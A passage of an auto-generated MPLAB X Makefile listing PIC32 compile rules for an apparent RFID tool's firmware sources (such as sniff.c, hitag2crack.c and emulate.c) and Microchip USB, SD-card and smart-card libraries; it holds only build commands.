${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/analogue.o.d\" -o ${OBJECTDIR}/src/analogue.o src/analogue.c     \n\t\n${OBJECTDIR}/src/iso7816.o: src/iso7816.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/iso7816.o.d \n\t@${RM} ${OBJECTDIR}/src/iso7816.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/iso7816.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/iso7816.o.d\" -o ${OBJECTDIR}/src/iso7816.o src/iso7816.c     \n\t\n${OBJECTDIR}/src/t55x7.o: src/t55x7.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/t55x7.o.d \n\t@${RM} ${OBJECTDIR}/src/t55x7.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/t55x7.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/t55x7.o.d\" -o ${OBJECTDIR}/src/t55x7.o src/t55x7.c     \n\t\n${OBJECTDIR}/src/sniff.o: src/sniff.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/sniff.o.d \n\t@${RM} ${OBJECTDIR}/src/sniff.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/sniff.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/sniff.o.d\" -o ${OBJECTDIR}/src/sniff.o src/sniff.c     \n\t\n${OBJECTDIR}/src/tamagotchi.o: src/tamagotchi.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/tamagotchi.o.d \n\t@${RM} ${OBJECTDIR}/src/tamagotchi.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/tamagotchi.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/tamagotchi.o.d\" -o ${OBJECTDIR}/src/tamagotchi.o src/tamagotchi.c     \n\t\n${OBJECTDIR}/src/hdx.o: src/hdx.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hdx.o.d \n\t@${RM} ${OBJECTDIR}/src/hdx.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hdx.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hdx.o.d\" -o ${OBJECTDIR}/src/hdx.o src/hdx.c     \n\t\n${OBJECTDIR}/src/hitag2crack.o: src/hitag2crack.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitag2crack.o.d \n\t@${RM} ${OBJECTDIR}/src/hitag2crack.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitag2crack.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitag2crack.o.d\" -o ${OBJECTDIR}/src/hitag2crack.o src/hitag2crack.c     \n\t\n${OBJECTDIR}/src/paxton.o: src/paxton.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/paxton.o.d \n\t@${RM} ${OBJECTDIR}/src/paxton.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/paxton.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/paxton.o.d\" -o ${OBJECTDIR}/src/paxton.o src/paxton.c     \n\t\nelse\n${OBJECTDIR}/_ext/1209914024/FSIO.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\\ File\\ System/FSIO.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1209914024\" \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1209914024/FSIO.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1209914024/FSIO.o.d\" -o ${OBJECTDIR}/_ext/1209914024/FSIO.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c\"     \n\t\n${OBJECTDIR}/_ext/1209914024/SD-SPI.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\\ File\\ System/SD-SPI.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1209914024\" \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d\" -o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c\"     \n\t\n${OBJECTDIR}/_ext/1019771169/SClib.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\\ Card/SClib.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1019771169\" \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1019771169/SClib.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1019771169/SClib.o.d\" -o ${OBJECTDIR}/_ext/1019771169/SClib.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c\"     \n\t\n${OBJECTDIR}/_ext/1019771169/SCpic32.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\\ Card/SCpic32.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1019771169\" \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1019771169/SCpic32.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1019771169/SCpic32.o.d\" -o ${OBJECTDIR}/_ext/1019771169/SCpic32.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c\"     \n\t\n${OBJECTDIR}/_ext/631258897/usb_function_cdc.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC\\ Device\\ Driver/usb_function_cdc.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/631258897\" \n\t@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d \n\t@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d\" -o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c\"     \n\t\n${OBJECTDIR}/_ext/186742988/usb_device.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/186742988\" \n\t@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o.d \n\t@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/186742988/usb_device.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/186742988/usb_device.o.d\" -o ${OBJECTDIR}/_ext/186742988/usb_device.o /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c     \n\t\n${OBJECTDIR}/src/indala.o: src/indala.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/indala.o.d \n\t@${RM} ${OBJECTDIR}/src/indala.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/indala.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/indala.o.d\" -o ${OBJECTDIR}/src/indala.o src/indala.c     \n\t\n${OBJECTDIR}/src/main.o: src/main.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/main.o.d \n\t@${RM} ${OBJECTDIR}/src/main.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/main.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/main.o.d\" -o ${OBJECTDIR}/src/main.o src/main.c     \n\t\n${OBJECTDIR}/src/psk.o: src/psk.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/psk.o.d \n\t@${RM} ${OBJECTDIR}/src/psk.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/psk.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/psk.o.d\" -o ${OBJECTDIR}/src/psk.o src/psk.c     \n\t\n${OBJECTDIR}/src/usb_descriptors.o: src/usb_descriptors.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/usb_descriptors.o.d \n\t@${RM} ${OBJECTDIR}/src/usb_descriptors.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/usb_descriptors.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/usb_descriptors.o.d\" -o ${OBJECTDIR}/src/usb_descriptors.o src/usb_descriptors.c     \n\t\n${OBJECTDIR}/src/util.o: src/util.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/util.o.d \n\t@${RM} ${OBJECTDIR}/src/util.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/util.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/util.o.d\" -o ${OBJECTDIR}/src/util.o src/util.c     \n\t\n${OBJECTDIR}/src/emulate.o: src/emulate.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/emulate.o.d \n\t@${RM} ${OBJECTDIR}/src/emulate.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/emulate.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/emulate.o.d\" -o ${OBJECTDIR}/src/emulate.o src/emulate.c     \n\t\n${OBJECTDIR}/src/ask.o: src/ask.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/ask.o.d \n\t@${RM} ${OBJECTDIR}/src/ask.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/ask.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/ask.o.d\" -o ${OBJECTDIR}/src/ask.o src/ask.c     \n\t\n${OBJECTDIR}/src/fsk.o: src/fsk.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/fsk.o.d \n\t@${RM} ${OBJECTDIR}/src/fsk.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/fsk.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/fsk.o.d\" -o ${OBJECTDIR}/src/fsk.o src/fsk.c     \n\t\n${OBJECTDIR}/src/clock.o: src/clock.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/clock.o.d \n\t@${RM} ${OBJECTDIR}/src/clock.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/clock.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/clock.o.d\" -o ${OBJECTDIR}/src/clock.o src/clock.c     \n\t\n${OBJECTDIR}/src/rwd.o: src/rwd.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/rwd.o.d \n\t@${RM} ${OBJECTDIR}/src/rwd.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/rwd.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/rwd.o.d\" -o ${OBJECTDIR}/src/rwd.o src/rwd.c     \n\t\n${OBJECTDIR}/src/detect.o: src/detect.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/detect.o.d \n\t@${RM} ${OBJECTDIR}/src/detect.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/detect.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/detect.o.d\" -o ${OBJECTDIR}/src/detect.o src/detect.c     \n\t\n${OBJECTDIR}/src/hitagcrypto.o: src/hitagcrypto.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitagcrypto.o.d \n\t@${RM} ${OBJECTDIR}/src/hitagcrypto.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitagcrypto.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitagcrypto.o.d\" -o ${OBJECTDIR}/src/hitagcrypto.o src/hitagcrypto.c     \n\t\n${OBJECTDIR}/src/wiegand.o: src/wiegand.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/wiegand.o.d \n\t@${RM} ${OBJECTDIR}/src/wiegand.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/wiegand.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/wiegand.o.d\" -o ${OBJECTDIR}/src/wiegand.o src/wiegand.c     \n\t\n${OBJECTDIR}/src/comms.o: src/comms.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} 